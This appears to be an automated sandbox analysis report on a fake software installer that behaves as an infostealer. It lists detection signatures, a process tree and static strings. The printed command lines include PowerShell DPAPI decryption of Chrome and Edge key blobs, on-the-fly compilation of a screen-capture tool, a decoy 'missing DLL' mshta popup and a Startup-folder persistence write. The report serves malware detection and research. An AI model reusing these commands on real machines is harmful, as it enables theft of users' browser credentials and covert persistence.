Edit tour

Windows Analysis Report
Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Overview

General Information

Sample name:	Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Analysis ID:	1541090
MD5:	fe0ddf8159f4a56d194f90e1fb31f3b2
SHA1:	adb5fcf6436b55cfd5391adc8e4d5725b2b1089b
SHA256:	753581951adf2c71ae3ddcd51b5badda3e91f16aa32d09596d24fa5397451fc2
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected generic credential text file

Drops PE files to the startup folder

Drops large PE files

Sigma detected: MSHTA Suspicious Execution 01

Tries to harvest and steal browser information (history, passwords, etc)

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains functionality for read data from the clipboard

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Startup Folder File Write

Sigma detected: Use NTFS Short Name in Command Line

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Prismifyr_Installer_v2.1 Setup 1.0.0.exe (PID: 5376 cmdline: "C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe" MD5: FE0DDF8159F4A56D194F90E1FB31F3B2)

Prismifyr_Installer_v2.1.exe (PID: 64 cmdline: "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" MD5: F90856B824B429A51D390C25F21C9683)

cmd.exe (PID: 2884 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4836 cmdline: tasklist /fo csv MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

Prismifyr_Installer_v2.1.exe (PID: 5708 cmdline: "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2244,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2 MD5: F90856B824B429A51D390C25F21C9683)

cmd.exe (PID: 2220 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6472 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

Prismifyr_Installer_v2.1.exe (PID: 6404 cmdline: "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --field-trial-handle=2516,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3 MD5: F90856B824B429A51D390C25F21C9683)

cmd.exe (PID: 2864 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4184 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7028 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4836 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4924 cmdline: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 2988 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 3940 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9E2A.tmp" "c:\Users\user\AppData\Local\Temp\screenCapture\CSCEE08CA83D7542AAB04A7698A66ECD4F.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

screenCapture_1.3.2.exe (PID: 2736 cmdline: screenCapture_1.3.2.exe "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" MD5: 18CDE4CFC9C121CC421152F9F86AED6B)

cmd.exe (PID: 5360 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6076 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7008 cmdline: C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1512 cmdline: cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

mshta.exe (PID: 4888 cmdline: mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

Prismifyr_Installer_v2.1.exe (PID: 5832 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe" MD5: F90856B824B429A51D390C25F21C9683)

cleanup

Sigma Signatures

System Summary

Sigma detected: MSHTA Suspicious Execution 01

Source: Process started

Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()", CommandLine: mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()", CommandLine|base64offset|contains: m, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1512, ParentProcessName: cmd.exe, ProcessCommandLine: mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()", ProcessId: 4888, ProcessName: mshta.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , CommandLine|base64offset|contains: z%, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4924, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , ProcessId: 2988, ProcessName: csc.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe, ProcessId: 64, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe

Sigma detected: Use NTFS Short Name in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , CommandLine|base64offset|contains: z%, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4924, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , ProcessId: 2988, ProcessName: csc.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , CommandLine|base64offset|contains: z%, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4924, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT" , ProcessId: 2988, ProcessName: csc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser'), CommandLine: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser'), CommandLine|base64offset|contains: ~O*^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7b4c3a21-e2df-5efd-beb5-591edeb53a62

Jump to behavior

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\LICENSE.electron.txt			Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\LICENSE.electron.txt			Jump to behavior

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: "ProgramDataBaseFileName": "$(IntDir)vc90b.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: "$(IntDir)$(ProjectName)\\vc80.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2475862062.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476010965.0000000002E0F000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476074048.0000000002E12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: # the .pdb by the precompiled header step for .cc and the compilation of source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: - Use '<(PRODUCT_DIR)/<(product_name).(exe\|dll).pdb' if 'product_name' is source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: CLEANFILES="$CLEANFILES .lib .dll .pdb .exp" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: - Use '<(PRODUCT_DIR)/<(target_name).(exe\|dll).pdb'. source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: .$ac_ext \| .xcoff \| .tds \| .d \| .pdb \| .xSYM \| .bb \| .bbg \| .map \| .inf \| *.dSYM ) ;; source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\ffmpeg.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2397315857.0000000005223000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: config_name, self.ExpandSpecial, output + ".pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: # See comment at cc_command for why there's two .pdb files. source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2278954943.0000000006B20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: pdb = self.GetPDBName(config, expand_special, output_name + ".pdb") source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: pdbpath_c = pdbpath + ".c.pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: "ProgramDataBaseFileName": "$(IntDir)\\vc90b.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ** rbu_file.pDb!=0, then it is assumed to already be present on the source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D3DCompiler_47.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2395663067.0000000005221000.00000004.00000020.00020000.00000000.sdmp
